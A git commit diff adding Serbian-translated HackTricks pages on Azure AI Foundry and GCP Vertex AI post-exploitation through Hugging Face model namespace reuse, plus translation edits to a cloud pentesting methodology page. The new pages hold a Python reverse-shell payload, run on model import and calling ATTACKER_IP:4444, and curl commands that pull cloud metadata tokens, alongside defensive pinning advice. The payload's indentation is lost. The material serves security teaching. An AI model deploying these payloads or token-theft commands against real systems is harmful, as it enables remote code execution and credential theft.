Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src

2026-02-04 11:07:37 -08:00 · 2025-09-29 21:18:15 +00:00
parent e230a6128d
commit c5950abb0d
5 changed files with 270 additions and 50 deletions
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
@@ -1,3 +1,9 @@
 # Az - Post Exploitation

 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation kroz Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenarij
+
+- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za postavljanje jednim klikom.
+- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na legacy putanji.
+- Pipelines i katalogi koji povlače po imenu (bez commit pinovanja/integriteta) će rešiti na repozitorijume pod kontrolom napadača. Kada Azure postavi model, loader code se može izvršiti u okruženju endpointa i dodeliti RCE sa dozvolama tog endpointa.
+
+Uobičajeni slučajevi preuzimanja HF:
+- Brisanje vlasništva: Stara putanja vraća 404 dok ne dođe do takeover-a.
+- Prelazak vlasništva: Stara putanja vraća 307 ka novom authoru dok stari author postoji. Ako je stari author kasnije obrisan i ponovo registrovan, redirect prestaje da radi i repo napadača se servira na legacy putanji.
+
+## Identifikovanje ponovo upotrebljivih namespace-a (HF)
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## End-to-end tok napada protiv Azure AI Foundry
+
+1) U Model Catalog pronađite HF models čiji su originalni autori obrisani ili prebačeni (stari author uklonjen) na HF.  
+2) Ponovo registrujte napuštenog autora na HF i ponovo kreirajte ModelName.  
+3) Objavite maliciozni repo sa loader kodom koji se izvršava pri import ili zahteva trust_remote_code=True.  
+4) Deploy-ujte legacy Author/ModelName iz Azure AI Foundry. Platforma povuče attacker repo; loader se izvršava unutar Azure endpoint container/VM, što rezultira RCE sa permisijama endpoint-a.
+
+Example payload fragment executed on import (for demonstration only):
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Napomene
+- AI Foundry deployments koji integrišu HF tipično kloniraju i importuju repo module koje referencira model’s config (npr. auto_map), što može dovesti do izvršavanja koda. Za neke putanje je potrebno trust_remote_code=True.
+- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte ga početnim foothold-om za pristup podacima i lateral movement unutar Azure.
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Istražite environment variables i MSI endpoints da biste pronašli tokene:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- Proverite montirane skladišne lokacije, artefakte modela i dostupne Azure servise koristeći pribavljeni token.
+- Razmotrite postojanost ostavljanjem poisoned model artifacts ako platforma ponovo preuzima iz HF.
+
+## Smernice za odbranu za korisnike Azure AI Foundry
+
+- Zaključajte modele po commit-u pri učitavanju iz HF:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Preslikajte proverenih HF modela u pouzdan interni registry i deploy-ujte ih odatle.
+- Kontinuirano skenirajte codebase-ove i defaults/docstrings/notebooks u potrazi za hard-coded Author/ModelName koji su obrisani/prebačeni; ažurirajte ili pin-ujte.
+- Proverite postojanje autora i poreklo modela pre deploymenta.
+
+## Heuristike prepoznavanja (HTTP)
+
+- Obrisani autor: author stranica 404; legacy model path 404 dok ne dođe do takeover-a.
+- Prebačeni model: legacy path 307 na novog autora dok stari autor postoji; ako stari autor kasnije bude obrisan i ponovo registrovan, legacy path može služiti sadržaj napadača.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Međureferencije
+
+- Pogledajte širu metodologiju i napomene o lancu snabdevanja:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Reference
+
+- [Ponovna upotreba imenskog prostora modela: AI napad na lanac snabdevanja koji iskorišćava poverenje u ime modela (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Preimenovanje ili prenos repo-a](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
@@ -1,3 +1,9 @@
 # GCP - Post Exploitation

 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -0,0 +1,113 @@
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenarij
+
+- Vertex AI Model Garden omogućava direktno postavljanje mnogih Hugging Face (HF) modela.
+- HF model identifiers are Author/ModelName. Ako je author/org na HF obrisan, isto ime autora može ponovo registrovati bilo ko. Napadači potom mogu kreirati repo sa istim ModelName na legacy path.
+- Pipelines, SDKs, or cloud catalogs koji povlače resurse samo po imenu (bez pinovanja/integriteta) će povući attacker-controlled repo. Kada se model deploy-uje, loader code iz tog repo-a može se izvršiti unutar Vertex AI endpoint kontejnera, dajući RCE sa dozvolama endpointa.
+
+Two common takeover cases on HF:
+- Ownership deletion: Stari put vraća 404 dok neko ponovo ne registruje autora i ne objavi isti ModelName.
+- Ownership transfer: HF issues 307 redirects sa starog Author/ModelName na novog autora. Ako stari autor kasnije bude obrisan i ponovo registrovan od strane napadača, redirect lanac je prekinut i attacker’s repo služi na legacy path.
+
+## Identifying Reusable Namespaces (HF)
+
+- Old author deleted: stranica autora vraća 404; model path može vraćati 404 dok ne dođe do takeover-a.
+- Transferred models: stara putanja modela vraća 307 ka novom vlasniku dok stari autor postoji. Ako stari autor bude kasnije obrisan i ponovo registrovan, legacy path će pokazivati na attacker’s repo.
+
+Quick checks with curl:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## End-to-end tok napada protiv Vertex AI
+
+1) Otkrivanje ponovo iskoristivih model namespace-ova koje Model Garden prikazuje kao deployable:
+- Pronađite HF modele u Vertex AI Model Garden koji i dalje imaju oznaku “verified deployable”.
+- Proverite na HF da li je originalni autor obrisan ili je model prebačen i stari autor naknadno uklonjen.
+
+2) Ponovo registrovati obrisanog autora na HF i ponovo kreirati isti ModelName.
+
+3) Objavite maliciozni repo. Uključite kod koji se izvršava pri učitavanju modela. Primeri koji se često izvršavaju tokom HF učitavanja modela:
+- Side effects u __init__.py repoa
+- Custom modeling_*.py ili processing kod na koji se poziva iz config/auto_map
+- Code paths that require trust_remote_code=True u Transformers pipelines
+
+4) Vertex AI deployment nasleđenog Author/ModelName sada povlači napadačev repo. Loader se izvršava unutar Vertex AI endpoint containera.
+
+5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa privilegijama endpointa.
+
+Example payload fragment executed on import (for demonstration only):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Napomene
+- Loaders u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju repo module koji su referencirani u model’s config (npr. `auto_map`), što može pokrenuti izvršavanje koda. Neke upotrebe zahtevaju `trust_remote_code=True`.
+- Endpoint tipično radi u posvećenom containeru sa ograničenim opsegom, ali predstavlja validan početni foothold za pristup podacima i lateralno kretanje u GCP.
+
+## Post-Exploitation Tips (Vertex AI Endpoint)
+
+Kada kod radi unutar endpoint container-a, razmotrite:
+- Enumerisanje environment varijabli i metadata za kredencijale/tokene
+- Pristupanje prikačenom skladištu ili montiranim artefaktima modela
+- Interakcija sa Google APIs koristeći identitet service account-a (Document AI, Storage, Pub/Sub, itd.)
+- Perzistencija u artefaktu modela ako platforma ponovo povuče repo
+
+Enumerišite instance metadata ako su dostupne (zavisno od containera):
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Odbrambene smernice za korisnike Vertex AI
+
+- Pin models by commit u HF loaders da sprečite tihu zamenu:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Preslikajte proverene HF modele u pouzdano interno skladište/registar artefakata i raspoređujte ih odatle.
+- Neprestano skenirajte kodne baze i konfiguracije zbog hardkodovanih Author/ModelName koji su izbrisani/prebačeni; ažurirajte na nove namespace-ove ili pinujte po commit-u.
+- U Model Garden, verifikujte poreklo modela i postojanje autora pre raspoređivanja.
+
+## Heuristike prepoznavanja (HTTP)
+
+- Izbrisan autor: stranica autora vraća 404; nasleđena putanja modela vraća 404 dok ne dođe do preuzimanja.
+- Prebačen model: nasleđena putanja vraća 307 ka novom autoru dok stari autor postoji; ako je stari autor kasnije obrisan i ponovo registrovan, nasleđena putanja poslužuje sadržaj napadača.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Međureferencije
+
+- Pogledajte širu metodologiju i napomene o supply-chain:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Izvori
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -4,41 +4,41 @@

 <figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>

-## Basic Methodology
+## Osnovna metodologija

-Svaka cloud platforma ima svoje specifičnosti, ali generalno postoji nekoliko **zajedničkih stvari koje pentester treba da proveri** prilikom testiranja cloud okruženja:
+Svaki cloud ima svoje specifičnosti, ali generalno postoje neke **uobičajene stvari koje pentester treba da proveri** kada se testira cloud okruženje:

- **Provere standarda**
- Ovo će vam pomoći da **razumete veličinu** okruženja i **usluge koje se koriste**
- Takođe će vam omogućiti da pronađete neke **brze greške u konfiguraciji** jer većinu ovih testova možete izvršiti pomoću **automatskih alata**
- **Enumeracija usluga**
- Verovatno nećete pronaći mnogo više grešaka u konfiguraciji ovde ako ste pravilno izvršili testove standarda, ali mogli biste pronaći neke koje nisu bile tražene u testu standarda.
- Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud okruženju
- Ovo će mnogo pomoći u sledećim koracima
- **Proverite izložene resurse**
- Ovo se može uraditi tokom prethodne sekcije, morate **otkriti sve što je potencijalno izloženo** internetu i kako se može pristupiti.
- Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugi portovi koji su izloženi, kao i na druge **usluge u cloudu koje se mogu konfigurisati** da budu izložene (kao što su DB-ovi ili bucket-i)
- Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (povjerljive informacije? ranjivosti? greške u konfiguraciji izložene usluge?)
- **Proverite dozvole**
- Ovde treba da **otkrijete sve dozvole svake uloge/korisnika** unutar clouda i kako se koriste
- Previše **visoko privilegovanih** (kontrolišu sve) naloga? Generisani ključevi koji se ne koriste?... Većina ovih provera bi već trebala biti izvršena u testovima standarda
- Ako klijent koristi OpenID ili SAML ili neku drugu **federaciju**, možda ćete morati da ih pitate za dodatne **informacije** o tome **kako se dodeljuju svake uloge** (nije isto da je admin uloga dodeljena 1 korisniku ili 100)
- **Nije dovoljno pronaći** koji korisnici imaju **admin** dozvole "\*:\*". Postoji mnogo **drugih dozvola** koje, u zavisnosti od korišćenih usluga, mogu biti veoma **osetljive**.
- Štaviše, postoje **potencijalni putevi za eskalaciju privilegija** koji se mogu iskoristiti zloupotrebom dozvola. Sve ove stvari treba uzeti u obzir i **prijaviti što više puteva za eskalaciju privilegija**.
- **Proverite integracije**
- Veoma je verovatno da se **integracije sa drugim cloud-ovima ili SaaS** koriste unutar cloud okruženja.
- Za **integracije clouda koji audirate** sa drugom platformom, trebate obavestiti **ko ima pristup da (zloupotrebi) tu integraciju** i trebate pitati **kako je osetljiva** akcija koja se izvršava.\
-Na primer, ko može da piše u AWS bucket gde GCP dobija podatke (pitajte koliko je osetljiva akcija u GCP-u koja obrađuje te podatke).
- Za **integracije unutar clouda koji audirate** sa eksternih platformi, trebate pitati **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proveriti kako se ti podaci koriste.\
-Na primer, ako usluga koristi Docker sliku hostovanu u GCR-u, trebate pitati ko ima pristup da to izmeni i koje osetljive informacije i pristup će ta slika dobiti kada se izvrši unutar AWS clouda.
+- **Benchmark checks**
+- Ovo će ti pomoći da **razumeš obim** okruženja i **korišćene servise**
+- Takođe će ti omogućiti da brzo nađeš neke **brze miskonfiguracije**, pošto većinu ovih testova možeš izvesti uz pomoć **automatizovanih alata**
+- **Services Enumeration**
+- Verovatno nećeš pronaći mnogo dodatnih miskonfiguracija ovde ako si ispravno uradio benchmark tests, ali možeš naći neke koje nisu bile obuhvaćene tokom benchmark testa.
+- Ovo će ti omogućiti da znaš **šta se tačno koristi** u cloud okruženju
+- Ovo će mnogo pomoći u narednim koracima
+- **Check exposed assets**
+- Ovo se može raditi tokom prethodnog odeljka — treba da **otkriješ sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti tome.
+- Ovde uzimam u obzir **manualno izloženu infrastrukturu** kao što su instances sa web stranama ili drugim otvorenim portovima, ali i druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
+- Zatim treba da proveriš **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? miskonfiguracije u izloženom servisu?)
+- **Check permissions**
+- Ovde bi trebalo da **otkriješ sve dozvole svake role/korisnika** unutar clouda i kako se one koriste
+- Previše **veoma privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi trebalo da bude urađena tokom benchmark tests
+- Ako klijent koristi OpenID ili SAML ili neku drugu **federation**, možda ćeš morati da ih pitaš za dodatne **informacije** o **kako se dodeljuje svaka uloga** (nije isto ako je admin uloga dodeljena 1 korisniku ili 100)
+- Nije **dovoljno samo otkriti** koji korisnici imaju **admin** permissions "\*:\*". Postoji mnogo **ostalih permisija** koje, u zavisnosti od korišćenih servisa, mogu biti vrlo **osetljive**.
+- Štaviše, postoje **potencijalni privesc** putevi koji se mogu ispratiti zloupotrebom permisija. Sve to treba uzeti u obzir i treba izvesti **što je moguće više privesc puteva**.
+- **Check Integrations**
+- Veoma je verovatno da se u cloud okruženju koriste **integrations with other clouds or SaaS**.
+- Za **integrations of the cloud you are auditing** sa drugim platformama treba da obavestiš **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitaš **koliko je osetljiva** akcija koja se obavlja.\
+Na primer, ko može da upiše u AWS bucket iz kojeg GCP dobija podatke (pitaj koliko je ta radnja osetljiva u GCP prilikom obrade tih podataka).
+- Za **integrations inside the cloud you are auditing** od eksternih platformi, treba da pitaš **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proveriš kako se ti podaci koriste.\
+Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitaš ko ima pristup da izmeni taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.

-## Multi-Cloud tools
+## Alati za više cloud okruženja

-Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi će biti navedeni u ovoj sekciji.
+Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom odeljku.

 ### [PurplePanda](https://github.com/carlospolop/purplepanda)

-Alat za **identifikaciju loših konfiguracija i puteva za eskalaciju privilegija u cloud-ovima i između cloud/SaaS.**
+A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**

 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env

 ### [Prowler](https://github.com/prowler-cloud/prowler)

-Podržava **AWS, GCP i Azure**. Proverite kako da konfigurišete svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Podržava **AWS, GCP & Azure**. Proverite kako da konfigurišete svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -115,7 +115,7 @@ npm install
 AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure

 {{#tabs }}
-{{#tab name="Instalacija" }}
+{{#tab name="Install" }}
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -170,7 +170,7 @@ steampipe check all

 <summary>Proveri sve projekte</summary>

-Da biste proverili sve projekte, potrebno je da generišete `gcp.spc` datoteku koja označava sve projekte koje treba testirati. Možete jednostavno pratiti uputstva iz sledećeg skripta.
+Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete pratiti uputstva iz sledećeg skripta
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>

-Da biste proverili **druge GCP uvide** (korisno za enumeraciju usluga) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Za proveru **ostalih GCP insights** (korisno za enumeraciju servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)

-Da biste proverili Terraform GCP kod: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Za proveru Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)

-Više GCP dodataka za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Više GCP pluginova za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}

 {{#tab name="AWS" }}
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Da biste proverili Terraform AWS kod: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Za proveru Terraform AWS koda: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)

-Više AWS dodataka za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Više AWS plugina za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}

 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)

 AWS, GCP, Azure, DigitalOcean.\
-Zahteva python2.7 i izgleda da nije održavan.
+Zahteva python2.7 i izgleda neodržavano.

 ### Nessus

-Nessus ima _**Audit Cloud Infrastructure**_ skeniranje koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Neka dodatna podešavanja u **Azure** su potrebna da bi se dobio **Client Id**.
+Nessus ima skeniranje _**Audit Cloud Infrastructure**_ koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su dodatne konfiguracije u **Azure** da bi se dobio **Client Id**.

 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)

-Cloudlist je **multi-cloud alat za dobijanje resursa** (Hostnames, IP adrese) od Cloud provajdera.
+Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) od Cloud Providers.

 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>

 ### [**cartography**](https://github.com/lyft/cartography)

-Cartography je Python alat koji konsoliduje infrastrukturne resurse i odnose između njih u intuitivnom grafičkom prikazu koji pokreće Neo4j baza podataka.
+Cartography je Python alat koji objedinjava infrastrukturalne resurse i odnose između njih u intuitivnom grafičkom prikazu pokretanom Neo4j bazom podataka.

 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \

 ### [**starbase**](https://github.com/JupiterOne/starbase)

-Starbase prikuplja resurse i odnose iz usluga i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom Neo4j bazom podataka.
+Starbase prikuplja resurse i relacije iz servisa i sistema, uključujući infrastrukturu u oblaku, SaaS applications, bezbednosne kontrole i još mnogo toga, u intuitivan prikaz grafa koji se oslanja na Neo4j bazu podataka.

 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687

 ### [**SkyArk**](https://github.com/cyberark/SkyArk)

-Otkrivanje najprivilegovanijih korisnika u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
+Otkrijte najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)

-Alat za pronalaženje infrastrukture, fajlova i aplikacija kompanije (meta) na vodećim cloud provajderima (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Alat za pronalaženje infrastrukture kompanije (target), fajlova i aplikacija kod vodećih provajdera u oblaku (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).

 ### [CloudFox](https://github.com/BishopFox/cloudfox)

- CloudFox je alat za pronalaženje iskoristivih puteva napada u cloud infrastrukturi (trenutno podržani samo AWS i Azure, GCP dolazi uskoro).
- To je alat za enumeraciju koji je namenjen da dopuni manuelni pentesting.
- Ne kreira niti modifikuje bilo kakve podatke unutar cloud okruženja.
+- CloudFox je alat za pronalaženje exploitable attack paths u cloud infrastrukturi (trenutno su podržani samo AWS & Azure, a GCP dolazi uskoro).
+- To je enumeration tool koji je namenjen da dopuni manual pentesting.
+- Ne kreira niti ne menja bilo koje podatke unutar cloud okruženja.

-### Više lista alata za cloud bezbednost
+### More lists of cloud security tools

 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)

@@ -410,12 +410,13 @@ aws-security/
 azure-security/
 {{#endref}}

-### Attack Graph
+### Graf napada

-[**Stormspotter** ](https://github.com/Azure/Stormspotter) kreira “graf napada” resursa u Azure pretplati. Omogućava red timovima i pentesterima da vizualizuju površinu napada i mogućnosti pivotiranja unutar tenanta, i pojačava vaše odbrambene timove da brzo orijentišu i prioritizuju rad na incidentima.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)kreira „attack graph“ resursa u Azure subscription. Omogućava red teams i pentesters da vizualizuju attack surface i pivot opportunities unutar tenant-a, i značajno pomaže vašim defenders da brzo orijentišu i prioritetizuju incident response rad.

 ### Office365

-Potrebni su vam **Global Admin** ili barem **Global Admin Reader** (ali imajte na umu da je Global Admin Reader malo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modulima i mogu se zaobići pristupanjem funkcijama **putem web aplikacije**.
+Potrebate **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modules i mogu se zaobići pristupanjem funkcijama **putem web aplikacije**.
+

 {{#include ../banners/hacktricks-training.md}}